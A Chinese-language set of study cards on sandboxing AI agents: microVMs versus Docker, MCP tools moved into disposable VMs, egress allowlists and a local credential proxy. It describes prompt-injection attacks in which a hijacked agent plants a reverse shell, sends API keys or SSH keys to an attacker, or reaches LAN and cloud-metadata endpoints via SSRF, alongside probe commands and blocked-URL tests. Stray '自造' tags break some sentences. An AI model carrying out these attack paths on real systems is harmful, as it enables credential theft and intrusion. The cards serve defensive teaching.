

路线 2 知识卡片 —— 堡垒执行

用途:路线 2"堡垒"主线与两个复刻项目(自修改 Agent、日志脱敏)的概念卡片复习集,按教学顺序排列。每张卡假设读者只读这一张,术语首现有括注定义。卡片总数:148 张(主线 0018—0028 共 53 张;自修改 Agent 复刻共 53 张;日志脱敏复刻共 42 张) 生成日期:2026-09-05 碎片指针:./scratch/agent-security-learning/知识卡片-碎片/

0018 microsandbox 最小闭环 —— 知识卡片

microVM(微型虚拟机,micro Virtual Machine)

是什么:microVM 是一台拥有独立 Linux 内核、独立文件系统和独立网络的完整虚拟机,只是砍掉了 BIOS(开机时的硬件自检流程)自检、设备模拟等传统虚拟机的累赘。Firecracker(亚马逊开源的 microVM 运行时)这类 microVM 砍累赘的官方理由有两个:缩小内存占用,以及缩小攻击面(可被攻击的入口总和)——暴露给来宾的设备和功能越少,可被打的门越少。一个直观的类比:Docker 容器是"同一个内核上的隔离房间",microVM 则是"一台独立的小电脑"。

解决什么问题:Docker 容器与宿主机共享内核——容器里的进程直接调用宿主机内核,只靠 namespace/cgroups(Linux 的进程隔离与资源限额机制)挡着;Docker 官方安全文档也承认,容器"可能提供不完整的隔离",尤其在叠加内核漏洞时。传统虚拟机隔离好,开机却要几分钟。microVM 两头都占:攻击者打穿 VM 自己的内核后,还得再打穿硬件虚拟化层(CPU 虚拟化指令在芯片级兜底)才够得着宿主机——两道墙自造。和它同属一个家族的,还有 AWS Lambda 用的 Firecracker,冷启动是秒级。

我们的办法:用 microsandbox 工具把这种 microVM 拉起来当执行环境,并用一行输出验证"独立内核"是否属实——沙箱里执行 `uname -srm` 返回 `Linux 6.12.99 aarch64`,而宿主机是 macOS(执行 `uname` 会显示 Darwin);容器里 `uname` 显示的会是和宿主相同的内核,这里没有,这就是隔离级别差异看得见的铁证。

micosandbox 的嵌入式 SDK(Sandbox.create())

是什么:micosandbox 是一个"运行时 + SDK"的开源工具(Rust 核心 + Python 绑定,pip 包名 `micosandbox`),官方定位是给不可信负载——AI Agent、用户代码、插件、包安装——提供本地优先的 microVM 运行时。它的 SDK 是嵌入式设计:官方原话是"SDK 直接启动沙箱进程,没有守护进程(daemon)、远程服务或基础设施搭建"——每次 `Sandbox.create()` 直接以子进程方式拉起一台 microVM。

解决什么问题:让"给每次不可信命令开一台一次性虚拟机"从运维工程变成几行代码。官方对每个沙箱的描述是"一台自带独立 Linux 内核、文件系统和网络边界的轻量虚拟机"。命令通过 VM 里的 guest agent(运行时安在虚拟机内部的对接人)投递执行,结果以 `ExecOutput` 返回——实测可用 `.stdout_text` 和 `.exit_code`,其余字段(如 `.stderr_text`)以所用版本的签名为准,用感和普通 `subprocess`(Python 标准库的子进程模块)几乎无感。`image` 参数直接复用 Docker Hub 上的 OCI(开放容器倡议,Open Container Initiative,容器镜像的格式标准)镜像(如 `"python:3.12"`),不用另学一套镜像生态;发命令时 `sb.shell()` 走 VM 内的 `/bin/sh`,`sb.exec(cmd, args)` 则不经 shell 直接执行。

我们的办法:探针写法是 `async with await Sandbox.create(name=..., image="python:3.12", ephemeral=True) as sb: out = await sb.shell("uname -srm")`——其中 `ephemeral=True` 参数和 `async with await` 写法按所用 SDK 版本的签名核对,以实测版本为准。实测首次拉镜像要几分钟,之后走本地缓存——再跑一次"创建→跑命令→销毁"全程约 15 秒。

ephemeral 用完即焚自造

是什么:ephemeral 是 micosandbox 中 `ephemeral=True` 参数承诺的语义——沙箱一停止就由宿主机运行时清理,不留下可复用的机器状态。官方 changelog 的口径:无名的一次性沙箱会被标记为 ephemeral,VM 退出后由 host runtime(常驻宿主机、负责管理沙箱生命周期的进程)清理;而命名的沙箱和用 `msb` (micosandbox 附带的命令行工具) `create` 创建的沙箱默认 persistent(持久——停了还在,可再次启动),ephemeral 与 persistent 是一对必须分清默认值。

解决什么问题:如果执行环境跨调用存活,被提示注入(prompt injection——攻击者把恶意指令塞进模型读到的内容里、诱骗模型替他执行)劫持的 Agent 就能在里面种后门、下马。比如往启动脚本里追加一行反弹 shell(让攻击者从外部主动连回这台机器的 shell),等"下一次启动"再接续作案——持久化正是这类攻击者最想要的东西。用完即焚把这个

威胁从根上删掉:没有"下一次启动",就没有持久化。

我们的办法:把沙箱给 Agent 当执行环境时强制开 `ephemeral=True`。实测在 `async with` 块结束时 VM 即被杀掉并删除,攻击者在期间写入的任何文件、装的后门都随 VM 一起消失。"连落盘状态一起删除"是实测行为,官方文档没有逐字写明清理范围,这条以实测为准。

默认出网敞开(default open egress)

是什么:指沙箱默认网络策略"公网敞开"的配置形态。准确定性是半开——官方文档明确:默认沙箱可访问公网(public internet),但私网地址、宿主机本地、link-local(169.254.x.x 一类链路本地地址)和云 metadata(云厂商固定内网地址上的实例元数据服务)目的地一律封锁。所以不是"完全随便出网",而是"公网默认放行,内网侧默认已封"。

怎么得手:被提示注入劫持的 Agent 一旦拿到 VM 内的命令执行权,公网出网通道就是现成的——可以直接把环境变量里的密钥、读到的数据用 HTTP 请求送出去。官方在文档里明确:默认沙箱可访问公网,但"私网、宿主机本地、link-local 和 metadata 目的地一律封锁"——这条封锁不是疏漏,是设计好的边界。官方另注明:在云后端上,这条非公网封锁"连沙箱主人自己也无法解开";本地部署能否放宽,以所用版本实测为准。实测在默认配置的沙箱里 `curl http://httpbin.org/get` 返回 200,公网一路绿灯,攻击者不需要任何额外配置——光是公网敞开这一半,已足够把数据送出去。

我们的对策:这层防在网络出口上,官方的收口手段是把 egress(出网)收成白名单(allowlist)或整体禁用。默认档案名 "public" 与 `network=Network(...)` 参数形态按所用 SDK 版本核对,以实测为准。

沙箱隔离强度阶梯(sandbox isolation spectrum)

是什么:"沙箱"(sandbox)按 NIST(美国国家标准与技术研究院)安全术语表的定义,是一种"受限、受控的执行环境"——它只规定效果,不规定实现。实现路线按隔离强度递增排成一个阶梯,像小孩的沙坑自造。

解决什么问题:给不可信代码选执行环境时,需要判断"我现在的隔离手段到底挡在哪一层"。阶梯从弱到强是:进程级限制(如浏览器标签页)→ 容器(共享内核,一个内核漏洞就穿墙)→ 用户态内核(用软件模拟内核、替真内核接系统调用)→ microVM(独立完整内核 + 硬件虚拟化,最硬)。用户态内核的代表是 gVisor——Google 的方案,官方描述为"实现 Linux 接口的应用内核":它拦截系统调用(应用请求内核办事的接口)再代答给真内核,同时限制应用能碰到的宿主机内核表面;它明确声明自己不是 seccomp-bpf(Linux 内核自带的系统调用过滤机制)那类 syscall 过滤器,比过滤器强,但底下仍不是完整内核。这里有个容易说过头的边界:能跑完整 Linux 内核的只有虚拟机,gVisor 跑的是用户态内核而非完整内核,所以它以容器形态也能部署,强度落在容器和虚拟机之间。

我们的办法:选阶梯最顶端的 microVM 作为 Agent 工具的执行环境,容器只作对照参照。独立内核的直接证据:沙箱里执行 `uname` 返回 `Linux 6.12.99 aarch64`,而宿主机是 macOS(显示 Darwin)——与 microVM 选型一一对应。后续计划让同一段内核逃逸代码在容器和 microVM 里各跑一遍,用实证对比两种隔离的真实差距。

0019 shell 工具进 microVM —— 知识卡片

换执行面[自造],不动接口(transparent execution-surface swap)

是什么:指把工具命令真正运行的那一层整体更换——这层叫执行面 自造,且对模型暴露的工具签名、调用协议、返回格式一字不改。改造前的链路:模型发起命令调用,命令经 MCP(Model Context Protocol,把工具暴露给 Agent 的标准协议)传到本机 server,server 再用 subprocess(Python 标准库的子进程模块)把命令直接跑在宿主机上。改造后在链路中间加一步:server 先用 `Sandbox.create()` (microsandbox SDK 拉起虚拟机的入口)开一台一次性 microVM(micro virtual machine,微型虚拟机),命令在 VM 里执行完、输出原样送回。这种微型虚拟机靠硬件虚拟化、只带极简设备模型,与共享宿主内核的容器不同——每个工作负载都被一道独立的硬件级虚拟化屏障包住,这是 Firecracker 等一线项目给 microVM 的标准定位。类比"换发动机不换方向盘"(自创比喻,仅助记):司机(模型)的驾驶动作完全不变。

解决什么问题:提示注入(prompt injection,OWASP LLM01:2025 宽口径——凡用户输入使模型行为或输出偏离预期即算,直接写进对话与藏在内容里都算)拦不完,防御升级就不能指望模型"自觉不乱执行"。本卡场景属于后者:把恶意指令塞进模型读到的内容里、诱骗模型替他执行。MCP 官方文档也把防线放在协议外——工具调用 SHOULD 始终保留一个能拒绝执行的人类兜底,而不是指望模型自己扛。接口不动,加固层就能独自变强:以前攻击者拿到命令执行权等

于拿到宿主机的 shell;现在等于拿到一台马上销毁的空白 Linux 小虚拟机。"得手"因此变得不值钱。而"得手也没用"靠的是一次性删掉持久化——实测第一次调用种下的后门文件,第二次调用拿到的是全新 VM,后门已随旧 VM 一起销毁(细节见"ephemeral 用完即焚"那张卡)。

我们的办法:把最危险的任意 shell 命令工具(即 `microsandbox` 官方所称的 `untrusted workloads`、不可信工作负载)从宿主机 `subprocess` 整体搬进一次性 microVM,对外签名一字未动,改动净增约 10 行。这套"每次调用开一台全新 VM"的架构成立前提是冷启动够快——`microsandbox` 官方声称平均开机不到 100 毫秒(beta 阶段自测数据),实测两次调用含两次 VM 开机加销毁共约 1.2 秒。

FastMCP 异步工具(async tool function)

是什么:FastMCP 的异步(async)工具是用 `async def` 函数加 `@mcp.tool()` 装饰器写成的 MCP server 工具,FastMCP 则是把普通 Python 函数直接变成 MCP 工具的框架(分两支——官方 Python SDK 内置的 v1 与社区现役的 v2,文档在 gofastmcp.com,细节以实测版本为准)。函数定义的方式决定工具在模型客户端眼中的样子:docstring(函数文档字符串)变成工具描述、类型注解变成 `inputSchema`(描述入参的 JSON schema),所以不支持 `*args / **kwargs` 这类无固定签名的写法。调用时,FastMCP 在自己的事件循环(event loop,异步程序里调度所有等待任务的单线程调度器)里 `await` 这个函数。例子:写成 `async def run_command(command: str) -> str` 再挂上装饰器,模型侧看到的就是"传入一个字符串命令、返回一段字符串输出"的工具。配套细节:沙箱名带随机后缀防撞名(形如 `shell-` 接 8 位随机十六进制,如 `f"shell-{uuid4().hex[:8]}"`)——`microsandbox` 运行时按名字管理沙箱状态,两次调用若重名会互相覆盖,这是沙箱层的命名问题。(MCP 协议层也有类似的唯一性要求:工具名 SHOULD 在 server 内唯一,但那是另一件事。)

解决什么问题:`microsandbox` SDK 全异步(`Sandbox.create`、`sb.shell` 都必须 `await`,即异步等待结果)。MCP 工具函数若是同步的(如早先的 `subprocess.run`,发起后一直阻塞到命令结束)也并非不能用——FastMCP 会自动把同步工具丢进线程池(threadpool)执行,不需要用户手写任何同步桥接。但 `async` 工具省掉这层线程池调度的开销,且与全异步 SDK 在同一个事件循环内自然对齐;而对 MCP 客户端(Agent)来说毫无区别——同步版和异步版都是"发请求、等结果"。

我们的办法:shell 工具的 MCP server 用 `async` 工具函数包住 `microsandbox` SDK 的调用,命令执行发生在函数体内部的一次性 microVM 里。实测该写法直接工作,全程没有引入任何线程桥接代码。

0019 tool & mcp —— 知识卡片

MultiServerMCPClient(LangChain 的多 server MCP 适配器)

是什么:MultiServerMCPClient 是 LangChain(一套流行的 Python Agent 开发框架)官方适配器包(`langchain-mcp-adapters`)提供的核心入口类:用一份字典配置同时连接多个 MCP(Model Context Protocol,把工具暴露给 Agent 的标准协议)server,再把各 server 的工具合并成一张统一的大工具表。配置项里最关键的是 `transport`(传输方式):`stdio` 表示"每个 server 在本机拉成一个子进程、经标准输入输出通信",远程接入的键值官方写作 `http` 与 `sse`(不同版本命名有出入,以实测版本为准),可混跑。例子:配置 `{"shell": {"command": <python 解释器>, "args": [<server 脚本>], "transport": "stdio"}}`。启动期 `client.get_tools()` 会连接各 server、完成握手、列出工具清单,并把 MCP 工具"洗"成 LangChain 标准的 `BaseTool`(所有工具的统一基类);注意会话不是启动期建好长期复用——默认每次工具调用都各起一个新的 MCP ClientSession(会话用完即弃)。工具清单可按 server 过滤(`get_tools(server_name=...)`)、也能经 `client.session(名字)` 这个异步上下文管理器(`async with client.session("x") as s`)自己跟协议对话(API 细节以实测版本为准)。

解决什么问题:把"工具的执行权"从 Agent 的 Python 同进程里拆出去,让每个工具 server 成为可单独升级、重启、替换的单元——一个 server 崩了不连带其他;同时把"工具住在别的进程甚至别的机器"这个事实对 Agent 代码完全屏蔽。多 server 工具重名时,适配器可用 `tool_name_prefix=True` 给工具名加 server 前缀(MCP 规范在重名场景也建议用 server 标识做前缀消歧)——与"FastMCP 异步工具"卡里的随机后缀是同一问题在两个层级的解法。Agent 看到的与 server 原始返回也可能不一样:开启 `handle_tool_errors=True` 时,工具执行错误会被转成带 `status="error"` 的 `ToolMessage` 让模型自纠而不是崩掉整轮,其余错误不被吞掉。

我们的办法:用一份字典把三个工具 server(分别管文件读写 / shell 命令 / 网页抓取)合成一张大工具表灌给 Agent。另留一份裸 MCP SDK 客户端作旁路,直连单个 server、直接发协议消息看原始返回——调试时要看的是 server 真实回什么,而不是 Agent 经过推理与错误包装管线后呈现的东西,两者可能不一样。

MCP 不是沙箱(MCP is a protocol, not a sandbox)

是什么:MCP(Model Context Protocol)本质只是一套 JSON-RPC(基于 JSON 文本的远程调用消息格式)会话约定:客户端先 initialize 握手,再 tools/list 拿工具清单,然后 tools/call 发 `{"name": "read_file", "arguments": {...}}` 这样的调用、收回一段 content。它是协议不是隔离机制——对 server 进程没有系统级权限约束、没有进程或文件系统隔离(注意:MCP 确有一套 OAuth 2.1 授权规范,但那管的是"谁能连上远程 HTTP server",不是"server 进程能在宿主机上动什么")。把"MCP server 进程"当成沙箱,是一个常见且危险的误判。

怎么得手:stdio 传输确实把每个 server 拉成独立子进程,但子进程不等于沙箱——它与宿主机同一操作系统、同一用户、同一把内核(在隔离强度阶梯[自造:同进程→同用户子进程→namespace/cgroup→microVM,由弱到强;详见 0018 卡「沙箱隔离强度阶梯」里只是最底部那一档)。MCP 官方安全最佳实践几乎原话承认这点:本地 MCP server 是下载后在客户端同一台机器上执行的二进制,没有沙箱与同意机制时,"攻击者能以 MCP 客户端的权限执行任意命令"。这是与具体实现无关的通用结论:这样的子进程可被 ptrace(调试器附着并操控别的进程的系统调用)附着、也能被信号杀崩。它的文件权限原样继承宿主用户,还能自由开网络连接——在内核眼里,它和你手动用 python 起一个脚本的进程完全平等。server 想偷你的 SSH 私钥还是删库,协议一概不管(官方威胁示例就是一个恶意包执行后把 `~/.ssh/id_rsa` POST 到攻击者服务器);若把安全押在"MCP 已经拆了进程"上,注入得手的攻击者拿到的就是宿主用户的全套权限。

我们的对策:沙箱责任不由协议层承担——MCP 官方的缓解清单也是同一方向:警告用户 server 与客户端同权限,把 server 放进最小默认权限的沙箱环境里跑,或用容器等平台级隔离技术。我们的落法是 shell 工具的 MCP server 内部用 microVM(独立内核的微型虚拟机)跑不可信命令,MCP 只当传输载体——因果链要摆正:真隔离在 microVM 层,server 进程只是"另一个进程",JSON-RPC 只是约定。

工具形态与执行位置正交自造

是什么:指 Agent 工具体系里两个互相独立的设计维度——"工具是什么"(定义形态)与"工具住哪、谁来跑"(接入与执行位置)。“正交[自造]”是借数学的说法(经验总结,官方无此框架):两者互不绑定、可自由组合——一个查天气函数,既能 `@tool` 后直接喂给 `create_agent`(LangChain 的 Agent 构造函数),也能原样包成 MCP server 挂到远程。LangChain(一套流行的 Python Agent 开发框架)里函数形态工具常见路径有三条,一是 `@tool` 装饰器:类型注解和 docstring 自动生成 schema,进阶可用 `args_schema` 显式指定入参结构——值可以是 Pydantic 模型(Python 的数据校验库),也可以是 JSON Schema(用 JSON 描述数据结构的规范)。二是 `StructuredTool.from_function`(显式构造,适合程序化拼装工具)。三是 BaseTool 子类(能持有连接池、缓存等共享状态,重写同步/异步执行逻辑)。此外官方还有不依赖函数的 schema-only 工具形态,所以“三条”是常见路径而非全部。

解决什么问题:选型时避免两个极端——“为用 MCP 而用 MCP”(本进程一个函数能解决的,硬塞一个 stdio 子进程)和“该拆不拆”(别的团队、别的语言写好的现成服务,直接走 MCP 的 HTTP 接入才是正解)。按处境挑形态:无状态单函数用 `@tool`;入参复杂要校验,用 `@tool` 挂 `args_schema` 或 `StructuredTool`;要共享客户端、限流、连接池用 BaseTool 子类;一组配套操作用 Toolkit。Toolkit(官方定义为“一组为完成特定任务配套使用的工具”,统一出口 `get_tools()`)与运行时注入参数(`ToolRuntime`)都只是包装与装配,不改变形态选择。后者的安全细节:注入的图状态等不会出现在发给模型的 schema 里,对模型不可见。

我们的办法:工具形态选 BaseTool 子类(每个工具 server 都持有共享资源,如 microVM 连接),接入方式选 MultiServerMCPClient(各 server 必须能单独替换)。执行面则由各 server 自己扛——可以是 microVM 这类虚拟机,也可以是容器或远程服务。

0020 fetch进microVM+出网白名单 —— 知识卡片

劫持网页抓取工具的 SSRF 与密钥外泄(SSRF via hijacked fetch tool)

是什么:SSRF(Server-Side Request Forgery,服务端请求伪造)指诱骗服务器替攻击者发请求、进而读取或篡改其内部资源的攻击。OWASP(开放全球应用安全项目,Web 安全领域的权威组织)的定义强调后果是“读+改内部资源”,不只是“发个请求”。放到 Agent 身上,毒从网页抓取工具进:被提示注入(prompt injection,把恶意指令塞进模型读到的内容里、诱骗模型替他执行)劫持后,抓取工具可以被诱导去访问任何宿主机能到达的地址。

怎么得手:抓取工具原来直接在宿主机上发 HTTP 请求,宿主机能到哪它就能到哪。三条现成路径:打内网设备(如 `http_get('http://192.168.1.1/')` 摸路由器管理页)、访问云元数据端点(169.254.169.254,上面放着云平台临时凭证)、把偷到的密钥直接 POST 到攻击者自己的服务器。这条链真实世界发生过:2019 年 Capital One 泄露事件

就是攻击者用 SSRF 读云元数据端点拿到凭证,MITRE ATT&CK(攻击手法知识库)把"窃取云实例元数据服务里的凭证"收录为独立条目并引用此案。

我们的对策:两层各挡一类——工具层的域名白名单让名单外请求连执行环境都不启动,实测拒绝是瞬间的;网络层默认拒私网,攻击者在沙箱里绕过工具层裸跑 `curl http://192.168.1.1/`,只得到 exit 7(连接被拒)。

工具层出网白名单(tool-layer egress allowlist)

是什么:出网白名单是只放行显式许可目的地的出网控制;这道检查以代码形式住在抓取工具的函数体里,请求真正发出前先验 URL 的协议与域名——scheme 只许 http/https,host 必须在名单内,不过就拒绝。它的威胁模型默认工具已被劫持:OWASP(开放全球应用安全项目)的 SSRF 防护清单里,网络层防火墙的定位是"给易受 SSRF 攻击的应用兜底"(原句 limit the impact of an application vulnerable to SSRF),不是假定应用永远干净。取向是 fail closed(默认拒绝):当检查无法给出确定结论时,默认拒绝而非默认放行——宁可让合法请求失败,也不让恶意请求出门。

解决什么问题:检查放在拉起沙箱之前还是之后,差的是资源与绕路——放在前面,名单外的请求连一台一次性虚拟机都不用开。实测四种请求的命运: `https://httpbin.org/get` 在名单内放行; `https://example.com` 被秒拒(虚拟机根本没启动); `http://192.168.1.1/` 同样被拒; `file:///etc/passwd` 栽在协议检查上——返回 只允许 http/https,收到 scheme=file。最后这条拦截有官方背书:OWASP 明确把 `file://` 这类 URI 列为 SSRF 可达目标(可用来读服务器本地文件),拦它不是过虑。

我们的办法:在抓取工具的 server 里做协议加域名两道检查,并与沙箱网络层的兜底配套——这种双层纵深是 OWASP 认可的组合(两层都设防,单层被绕过还有下一层)。字符串层的白名单理论可绕,内网与云元数据那更致命的一半交给网络层去挡——整套加固对模型暴露的工具签名一字未改,防御升级不需要模型配合。

microsandbox 网络策略(Network / NetworkProfile)

是什么:microsandbox(把不可信代码关进一次性 microVM 的开源运行时;microVM 指带独立内核的微型虚拟机)SDK 里的 Network 对象,是给沙箱出网装防火墙的声明式配置,用 `Sandbox.create(network=...)` 挂上去。三种现成形态: `Network.allow_all()` (全开,含私网与宿主机)、`Network.none()` (全关,但命令执行与文件传输仍走宿主—沙箱通道)、`Network.from_profiles(NetworkProfile.PUBLIC)` (只许公网)。from_profiles 的组装思路是官方说的 deny-by-default(默认拒绝):先把所有出口设为拒,再用 profile 一组一组往白名单里加。

解决什么问题:精细档位靠 `NetworkPolicy(default_egress=Action.DENY, rules=...)` 自己拼规则。官方文档警告规则要"具体的排前面,宽的排后面",原话是 a broad rule placed before a narrow one swallows it(宽规则排前会吞掉窄规则,"吞掉"二字的出处)。 `deny_domains=("某域名",)` 还能在三层拦特定域名:DNS 解析(直接回 NXDOMAIN,即"域名不存在")、TLS 首包(SNI,握手时声明的目标域名)、TCP 出网(查缓存兜底)。

我们的办法:抓取工具拉起沙箱时一行 `Network.from_profiles(NetworkProfile.PUBLIC)`,与工具层白名单合成两道防线。规则级域名白名单在这个版本拼不出来、黑名单形态的 `deny_domains` 是唯一可用的域名限制(根因见下一张卡的 fake-IP 机制)——此结论来自实测,官方文档未否认。

fake-IP DNS 代理与规则级白名单失效(fake-IP DNS proxy)

是什么:fake-IP DNS 代理指沙箱网关代答域名解析的机制——沙箱内解析域名拿到的不是真实 IP,而是 198.18.0.0/15 保留段(sing-box 的默认 fake-IP 网段 `inet4_range`)里的假 IP,真实连接由网关按"假 IP 到真目标"代理出去。这段地址是 RFC 2544 划给网络基准测试的保留段,并不是 RFC 1918 私网段。它的启动条件很苛刻:实测环境里只在放行 PUBLIC profile(上一张卡说的"只许公网"预设)的策略下才生效——这是我们环境特有的实测结论,不是 fake-IP 的通用属性。

解决什么问题:它解释了规则级域名白名单为什么拼不出来——不放行 PUBLIC 组时 DNS 全死,连白名单里的域名都解析不了;一放行,公网又全开,"先放行某域名、其余全拒"两头不可兼得。这不算孤例:198.18.0.0/15 不在常见"私网段"判断清单里,任何按"目标 IP 是否私网"写 SSRF 拦截的工具,遇到 fake-IP 网段都会判断失真(方向未必相同,但都说明"拿 IP 段猜安全"靠不住)。唯一能用的域名限制是黑名单形态的 `deny_domains`,配上 PUBLIC profile 实测既存活又真拦。

我们的对策:把策略形状挨个实测(从给 DNS 端口放行到混排规则都试过),最终定型为"工具层白名单加网络层 PUBLIC"的组合。beta 版(0.6.16)的文档语义不可信——每个"应该可以"都要配一个 exit code,以实测版本为准。

0021 边界对比–Docker–vs–microVM —— 知识卡片

逃逸探针(escape probe / canary)

是什么:逃逸探针自造指在目标隔离环境里跑一段固定脚本、把输出当"口供"做横向对比的评估方法。它最接近的成熟概念是安全行业的 canary(金丝雀,厂商 Thinkst 的大意是放在没人该碰的地方、一被触碰就报警),但那是求被触的诱饵,这里的探针是求自测的口供——两者别混。它刻意保持零武器化自造,动作上限是"看"与"轻触":读身份与挂载表、对目标发 TCP connect 试连通、用一次性写入探权限边界——写进几秒后焚毁的环境,不留痕。它不利用漏洞、不外传数据,所以能放心进教学仓库。

为什么重要:它把"隔离好不好"从概念感觉变成一组可对比的观测——身份 / 文件可见性 / 网络可达性 / 写权限;同一份脚本在每个环境里各跑一遍,差距直接落在带 exit code 的对比表上,环境升级后重跑同一份脚本即可防回归。

我们怎么用:脚本只用 POSIX sh 加 python3 socket(不用 curl/ping,精简镜像里没有这两个工具);送进 microVM 时先把脚本 base64 编码再执行,躲开引号转义地狱;动作覆盖四类——看身份 / 读宿主路径 / 扫内网 / 试提权(能不能写 /etc、能不能用 sudo)。

挂载卷直通(volume mount passthrough)

是什么:挂载卷直通自造指容器把宿主机目录原样映射进容器内部、容器里读写直达宿主文件系统的机制。Docker 官方把这种"宿主目录直通"叫 bind mount(绑定挂载),以区别于由 Docker 托管的 volume(数据卷),这张卡说的是前者。官方对它的警告很直白:默认对宿主文件有写权限,可能影响宿主上与容器无关的进程,并且明确提示"有安全影响"。它本是共享代码与数据的开发便利,却等于在隔离边界上开了一扇按需定制的门。

怎么得手:攻击者只要读到挂载进来的目录,就等于读到了宿主文件。比如在容器里对挂载目录下的文件来一句 `cat`,拿到的就是宿主上的原文。实测最扎眼的一条:六项容器加固(只读根文件系统、剥光 capabilities、降权为非 root 用户等)一条都拦不住它——挂载进来的工作区目录里的真实文件直接可读。官方给的缓解 readonly/ro(只读挂载)挡得住写、挡不住读,恰好救不了这半;而且容器用完即焚(--rm)也救不回来——写进挂载目录的内容落在宿主真实路径上,不随容器销毁消失。

我们的对策:换一次性 microVM 当执行环境就根本不开这扇门——虚拟机内看不到任何宿主目录,宿主文件零可见,攻击成果无处持久化。

云元数据端点窃取(cloud metadata credential theft)

是什么:云元数据端点是云厂商固定挂在 169.254.169.254 这个链路本地(link-local,169.254.0.0/16 保留网段)地址上的实例信息接口,实例内的进程访问它就能领到云平台的 IAM 临时凭证(临时身份令牌)。AWS 官方文档说明这类地址只在实例内可达(IMDSv2 令牌明确 rejected if you attempt to use it outside of the instance)——边界信任模型是官方明说的:它默认信任实例内的一切访问者,"够得着它"约等于"偷到这台机器的云身份"。

怎么得手:只要负载的出网不受限,一条 TCP 连接就进门。实测在加固 Docker 容器里对它发起连接是成功的——容器加固管文件权限、管 capabilities,唯独不管出网;同一批探针里,局域网网关 192.168.0.1:80(路由器真在听 80 端口)也可达,内网横移通道同样敞开。AWS 还提示:容器场景常要把 hop limit(跳数限制)从默认 1 调大才能继续访问 IMDS——容器离元数据端点只隔一跳,这层兼容性设计与我们实测"容器里连接成功"互相印证。

我们的对策:一次性 microVM 的网关默认拒私网与链路本地地址——同一路由器 80 端口,容器连得上、microVM 连不上(curl 得到 exit 7,连接被拒),连专门的网络 profile 都不用配。官方缓解是 IMDSv2(先发 PUT 请求换会话令牌再领凭证,纯 GET 的 SSRF 拿不到东西),而网络层默认拒链路本地正是 MITRE 给这条手法的缓解措施(M1035),挡得更彻底。

收紧内部与丢弃内部(hardening vs disposability)

是什么:这是"给不可信代码找执行环境"的两种相反取向——加固派(行业依据是 NIST SP 800-190 的容器分层加固)的答案是捆紧内部:只读文件系统、剥权限、降权;丢弃派(行业出处是 12-factor——一套应用部署方法论——的"进程用完即弃",以及 LinuxKit 这个打造极简不可变 Linux 的开源项目的"不可变基础设施")的答案是内部不做加固,整个环境用完即焚。类比[自造]:一个给牢房上锁,一个给牢房装自毁按钮。

解决什么问题:决定防御预算花在内部还是花在边界。实测对比把两派的真实短板摆上台面:加固容器里写 `/etc` 确实被只读文件系统挡住,但挂载卷与出网两扇门关不上。这不算巧合。NIST 800-190 把"无界网络访问"列为容器风险,并单列对策"控制容器出网流量"(4.4.2)。但它把这道防线放在网络层,而不是捆容器内部——只读文件系统、剥权限、降权这类容器加固,天生一条都管不到出网。一次性 microVM 里 root 反而能随便写 `/etc`,但这不算失守——写的是一台几秒后焚毁的虚拟机的 `/etc`。12-factor 说的"用完即弃"本指应用进程层,扩到整个虚拟机是合理引申,方向一致。

我们的对策:选丢弃派,把预算押在边界——宿主零可见 / 私网默认拒 / 用完即焚,这三道硬墙比内部六道捆绑更值钱。丢弃派也有现成落地——Docker Desktop 的基础 LinuxKit 走的正是"不可变"路线(下一张卡接着说)——两种边界的真实差距靠探针实测得出,不停留在概念对比。

容器共享谁的内核(Docker Desktop linuxkit)

是什么:macOS 上 Docker 容器共享的并不是 Mac 内核,而是 Docker Desktop 自带的一台 Linux 虚拟机的内核——这台 VM 的内核构建自 linuxkit 项目(一个打造极简不可变 Linux 的开源项目),官方文档并不把 VM 本身叫作 linuxkit。新版 Docker Desktop 已改用 Apple Virtualization framework(旧版是 HyperKit)来跑这台 VM,linuxkit 这个名字如今主要活在项目本身与内核镜像里。"容器共享内核"的准确说法因此是:容器世界共享那台 Linux VM 的内核与它的挂载直通;而 microVM(代表实现如 AWS Firecracker,官方自述"把硬件虚拟化的安全与隔离、和容器的速度与灵活合在一起")每次一份全新内核。

解决什么问题:判断内核逃逸的影响面。linuxkit 主打"不可变"——内核镜像整台同机共用,同一个内核漏洞被打穿后,容器一侧波及"大家共用的那台":同机所有容器,加上那台 VM 挂出去的宿主路径;microVM 一侧只波及"你自己那份,用完就烧"。

我们的办法:同一份探针脚本在两种环境各跑一遍,内核版本直接进对比表——容器里 `uname -r` 显示 `6.12.76-linuxkit`,microVM 里是另一个独立内核版本号,隔离级别差异肉眼可见。

0022 凭证代理 LLM 路 —— 知识卡片

本地凭证代理(local credential proxy)

是什么:本地凭证代理(指架在 Agent 进程与 LLM API 之间、转发时替请求补上真密钥的本地小程序)是一道密钥换手工序:Agent 的请求先到代理,代理再转给真正的 API。它对应业界 LLM API 网关加虚拟密钥(virtual key)的模式——LiteLLM 这类网关的提法是「把虚拟钥匙发给应用与协作者,而不是裸的供应商密钥」,区别在于这里是本地单进程、真密钥不落盘。改造后 Agent 侧的请求头只有 `Authorization: Bearer PLACEHOLDER` 这样的占位符,base_url(客户端配置的 API 入口地址)指向本机端口。真密钥只活在代理进程的内存里,响应字节由代理原样传回。

解决什么问题:提示注入(把恶意指令塞进模型读到的内容里、诱骗模型替攻击者执行)一旦完全得手,读环境变量是攻击者最便宜的一招。OWASP 密钥管理指南指出,环境变量一般对所有进程可读,还可能被带进日志或系统转储——密钥只要在攻击面(攻击者得手后能触碰的范围)里,就迟早被读走。与其想花招保护攻击面里的密钥,不如让它根本不在场:实测占位符直连 API 只得 `401` 未认证,同一占位符经代理换成真值就得到 `200`。从此「劫持了 Agent」和「拿到了密钥」是两件事。

我们的办法:Agent 侧只改 base_url 等三个默认配置项,模型、工具与观测全部无感;代理启动时发现没拿到密钥就立即报错退出,没钥匙的代理空转比失败更危险(fail fast,启动即失败)。日志只记一行元数据(如 `→ POST /v1/chat/completions ← 200 0.76s 868B`),够做密钥使用审计;对话内容与密钥都不落盘;真密钥按安全编码纪律应用后清零内存(若语言允许)——这是通用最佳实践,供参考。代理手握真密钥,自己就是新的攻击面,纪律从它自己守起。

SSE 流式透传(streaming passthrough)

是什么:SSE(Server-Sent Events,大模型 API 把回复切成小块持续推送的协议)透传指代理不「攒齐再转」,而是把上游响应的字节块一到手就原样往下游吐。SSE 是服务器经普通 HTTP 单向持续推送事件的协议(HTML 规范;MDN『Using server-sent events』页要求事件流以 `text/event-stream` MIME 类型响应)。大模型的回复本是一块一块到达、在客户端拼出打字机效果;代理若先读完再转,流式就退化成漫长的等待。

